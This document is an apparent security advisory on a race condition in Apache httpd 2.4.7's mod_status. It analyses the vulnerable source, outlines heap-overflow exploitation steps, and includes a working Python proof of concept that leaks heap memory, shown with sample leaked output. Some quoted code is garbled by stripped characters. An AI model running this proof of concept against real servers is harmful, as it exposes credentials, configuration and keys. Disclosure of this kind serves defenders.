1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 |
--[ 0. Sparse summary Race condition between updating httpd's "scoreboard" and mod_status, leading to several critical scenarios like heap buffer overflow with user supplied payload and leaking heap which can leak critical memory containing htaccess credentials, ssl certificates private keys and so on. --[ 1. Prerequisites Apache httpd compiled with MPM event or MPM worker. The tested version was 2.4.7 compiled with: ./configure --enable-mods-shared=reallyall --with-included-apr The tested mod_status configuration in httpd.conf was: SetHandler server-status ExtendedStatus On --[ 2. Race Condition Function ap_escape_logitem in server/util.c looks as follows: 1908AP_DECLARE(char *) ap_escape_logitem(apr_pool_t *p, const char *str) 1909{ 1910char *ret; 1911unsigned char *d; 1912const unsigned char *s; 1913apr_size_t length, escapes = 0; 1914 1915if (!str) { 1916return NULL; 1917} 1918 1919/* Compute how many characters need to be escaped */ 1920s = (const unsigned char *)str; 1921for (; *s; ++s) { 1922if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) { 1923escapes++; 1924} 1925} 1926 1927/* Compute the length of the input string, including NULL */ 1928length = s - (const unsigned char *)str + 1; 1929 1930/* Fast path: nothing to escape */ 1931if (escapes == 0) { 1932return apr_pmemdup(p, str, length); 1933} In the for-loop between 1921 and 1925 lines function is computing the length of supplied str (almost like strlen, but additionally it counts special characters which need to be escaped). As comment in 1927 value says, function computes count of bytes to copy. If there's nothing to escape function uses apr_pmemdup to duplicate the str. In our single-threaded mind everything looks good, but tricky part starts when we introduce multi-threading. Apache in MPM mode runs workers as threads, let's consider the following scenario: 1) ap_escape_logitem(pool, "") is called 2) for-loop in 1921 line immediately escapes, because *s isin first loop run 3) malicious thread change memory under *s to another value (something which is not ) 4) apr_pmemdup copies that change value to new string and returns it Output from the ap_escape_logitem is considered to be a string, if scenario above would occur, then returned string would not be zeroed at the end, which may be harmful. The mod_status code looks as follows: 833ap_rprintf(r, "%s%s" 834"%snn", 835 ap_escape_html(r->pool, 836 ws_record->client), 837 ap_escape_html(r->pool, 838 ws_record->vhost), 839 ap_escape_html(r->pool, 840 ap_escape_logitem(r->pool, 841 ws_record->request))); The relevant call to ap_escape_html() is at line 839 after the evaluation of ap_escape_logitem(). The first argument passed to the ap_escape_logitem() is in fact an apr pool associated with the HTTP request and defined in the request_rec structure. This code is a part of a larger for-loop where code is iterating over worker_score structs which is defined as follows: 90struct worker_score { 91#if APR_HAS_THREADS 92apr_os_thread_t tid; 93#endif 94int thread_num; 95/* With some MPMs (e.g., worker), a worker_score can represent 96 * a thread in a terminating process which is no longer 97 * represented by the corresponding process_score.These MPMs 98 * should set pid and generation fields in the worker_score. 99 */ 100pid_t pid; 101ap_generation_t generation; 102unsigned char status; 103unsigned short conn_count; 104apr_off_t conn_bytes; 105unsigned long access_count; 106apr_off_t bytes_served; 107unsigned long my_access_count; 108apr_off_t my_bytes_served; 109apr_time_t start_time; 110apr_time_t stop_time; 111apr_time_t last_used; 112#ifdef HAVE_TIMES 113struct tms times; 114#endif 115char client[40];/* Keep 'em small... but large enough to hold an IPv6 address */ 116char request[64]; /* We just want an idea... */ 117char vhost[32]; /* What virtual host is being accessed? */ 118}; The 'request' field in a worker_score structure is particularly interesting - this field can be changed inside the copy_request function, which is called by the update_child_status_internal. This change may occur when the mod_status is iterating over the workers at the same time the ap_escape_logitem is called within a different thread, leading to a race condition. We can trigger this exact scenario in order to return a string without a trailing . This can be achived by running two clients, one triggering the mod_status handler and second sending random requests to the web server. Let's consider the following example: 1) the mod_status iterates over workers invoking update_child_status_internal() 2) at some point for one worker mod_status calls ap_escape_logitem(pool, ws_record->request) 3) let's asume that ws_record->request at the beginning is "" literallyat the first byte. 4) inside the ap_escape_logitem function the length of the ws_record->request is computed, which is 1 (an empty string consisting of ) 5) another thread modifies ws_record->request (in fact it's called ws->request in update_child_status_internal function but it's exactly the same location in memory) and puts there i.e. "GET / HTTP/1.0" 6) the ap_pmemdup(pool, str, 1) in ap_escape_logitem copies the first one byte from "GET / HTTP/1.0" - "G" in that case and returns it. The ap_pmemdup looks as follows: 112APR_DECLARE(void *) apr_pmemdup(apr_pool_t *a, const void *m, apr_size_t n) 113{ 114void *res; 115 116if (m == NULL) 117return NULL; 118res = apr_palloc(a, n); 119memcpy(res, m, n); 120return res; It allocates memory using apr_palloc function which returns "ditry" memory (note that apr_pcalloc overwrite allocated memory with NULs). So it's non-deterministic what's after the copied "G" byte. There might beor might be not. For now let's assume that the memory allocated by apr_palloc was dirty (containing random bytes). 7) ap_escape_logitem returns "G....." .junk. "" The value from the example above is then pushed to the ap_escape_html2 function which is also declared in util.c: 1860AP_DECLARE(char *) ap_escape_html2(apr_pool_t *p, const char *s, int toasc) 1861{ 1862int i, j; 1863char *x; 1864 1865/* first, count the number of extra characters */ 1866for (i = 0, j = 0; s[i] != ''; i++) 1867if (s[i] == '') 1868j += 3; 1869else if (s[i] == '&') 1870j += 4; 1871else if (s[i] == '"') 1872j += 5; 1873else if (toasc && !apr_isascii(s[i])) 1874j += 5; 1875 1876if (j == 0) 1877return apr_pstrmemdup(p, s, i); 1878 1879x = apr_palloc(p, i + j + 1); 1880for (i = 0, j = 0; s[i] != ''; i++, j++) 1881if (s[i] == '') { 1886memcpy(&x[j], ">", 4); 1887j += 3; 1888} 1889else if (s[i] == '&') { 1890memcpy(&x[j], "&", 5); 1891j += 4; 1892} 1893else if (s[i] == '"') { 1894memcpy(&x[j], """, 6); 1895j += 5; 1896} 1897else if (toasc && !apr_isascii(s[i])) { 1898char *esc = apr_psprintf(p, "&#%3.3d;", (unsigned char)s[i]); 1899memcpy(&x[j], esc, 6); 1900j += 5; 1901} 1902else 1903x[j] = s[i]; 1904 1905x[j] = ''; 1906return x; 1907} If the string from the example above would be passed to this function we should get the following code-flow: 1) in the for-loop started in line 1866 we count the length of escaped string 2) because 's' string contains junk (due to only one byte being allocated by the apr_palloc function), it may contain '>' character. Let's assume that this is our case 3) after for-loop in 1866 line 'j' is greater than 0 (at least one s[i] equals '>' as assumed above 4) in the 1879 line memory for escaped 'd' string is allocated 5) for-loop started in line 1880 copies string 's' to the escaped 'd' string BUT apr_palloc has allocated only one byte for 's'. Thus, for each i > 0 the loop reads random memory and copies that value to 'd' string. At this point it's possible to trigger an information leak vulnerability (see section 5). However the 's' string may overlap with 'd' i.e.: 's' is allocated under 0 with contents s = "AAAAAAAA>" 'd' is allocated under 8 then s[8] = d[0]. If that would be the case, then for-loop would run forever (s[i] never would besince it was overwritten in the loop by non-zero). Forever... until it hits an unmapped memory or read only area. Part of the scoreboard.c code which may overwrite the ws_record->request was discovered using a tsan: #1 ap_escape_logitem ??:0 (exe+0x0000000411f2) #2 status_handler /home/akat-1/src/httpd-2.4.7/modules/generators/mod_status.c:839 (mod_status.so+0x0000000044b0) #3 ap_run_handler ??:0 (exe+0x000000084d98) #4 ap_invoke_handler ??:0 (exe+0x00000008606e) #5 ap_process_async_request ??:0 (exe+0x0000000b7ed9) #6 ap_process_http_async_connection http_core.c:0 (exe+0x0000000b143e) #7 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f) #8 ap_run_process_connection ??:0 (exe+0x00000009d156) #9 process_socket event.c:0 (exe+0x0000000cc65e) #10 worker_thread event.c:0 (exe+0x0000000d0945) #11 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57) #12:0 (libtsan.so.0+0x00000001b279) Previous write of size 1 at 0x7feff2b862b8 by thread T2: #0 update_child_status_internal scoreboard.c:0 (exe+0x00000004d4c6) #1 ap_update_child_status_from_conn ??:0 (exe+0x00000004d693) #2 ap_process_http_async_connection http_core.c:0 (exe+0x0000000b139a) #3 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f) #4 ap_run_process_connection ??:0 (exe+0x00000009d156) #5 process_socket event.c:0 (exe+0x0000000cc65e) #6 worker_thread event.c:0 (exe+0x0000000d0945) #7 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57) #8:0 (libtsan.so.0+0x00000001b279) --[ 3. Consequences Race condition described in section 2, may lead to: - information leak in case when the string returned by ap_escape_logitem is notat the end, junk after copied bytes may be valuable - overwriting heap with a user supplied value which may imply code execution --[ 4. Exploitation In order to exploit the heap overflow bug it's necessary to get control over: 1) triggering the race-condition bug 2) allocating 's' and 'd' strings in the ap_escape_html2 to overlap 3) part of 's' which doesn't overlap with 'd' (this string is copied over and over again) 4) overwriting the heap in order to get total control over the cpu or at least modify the apache's handler code flow for our benefits --[ 5. Information Disclosure Proof of Concept -- cut #! /usr/bin/env python import httplib import sys import threading import subprocess import random def send_request(method, url): try: c = httplib.HTTPConnection('127.0.0.1', 80) c.request(method,url); if "foo" in url: print c.getresponse().read() c.close() except Exception, e: print e pass def mod_status_thread(): while True: send_request("GET", "/foo?notables") def requests(): evil = ''.join('A' for i in range(random.randint(0, 1024))) while True: send_request(evil, evil) threading.Thread(target=mod_status_thread).start() threading.Thread(target=requests).start() -- cut Below are the information leak samples gathered by running the poc against the testing Apache instance. Leaks include i.e. HTTP headers, htaccess content, httpd.conf content etc. On a live systems with a higher traffic samples should be way more interesting. $ ./poc.py | grep "" |grep -v AAAA | grep -v "{}"| grep -v notables 127.0.0.1 {A} [] 127.0.0.1 {A.01 cu0 cs0 127.0.0.1 {A27.0.0.1} [] 127.0.0.1 {A|0|10 [Dead] u.01 s.01 cu0 cs0 127.0.0.1 {A Û [] 127.0.0.1 {A HTTP/1.1} [] 127.0.0.1 {Ab><br /> 127.0.0.1 {AAA}</i> <b>[127.0.1.1:19666]</b><br /> 127.0.0.1 {A0.1.1:19666]</b><br /> 127.0.0.1 {A§} [] 127.0.0.1 {A cs0 127.0.0.1 {Adentity 127.0.0.1 {A HTTP/1.1} [] 127.0.0.1 {Ape: text/html; charset=ISO-8859-1 127.0.0.1 {Ahome/IjonTichy/httpd-2.4.7-vanilla/htdocs/} [] 127.0.0.1 {Aÿÿÿÿÿÿÿ} [] 127.0.0.1 {Aanilla/htdocs/foo} [] 127.0.0.1 {A0n/httpd-2.4.7-vanilla/htdocs/foo/} [] 127.0.0.1 {A......................................... } [] 127.0.0.1 {A-2014 16:23:30 CEST} [] 127.0.0.1 {Acontent of htaccess 127.0.0.1 {Aver: Apache/2.4.7 (Unix) 127.0.0.1 {Aroxy:balancer://mycluster} [] We hope you enjoyed it. Regards, Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466 |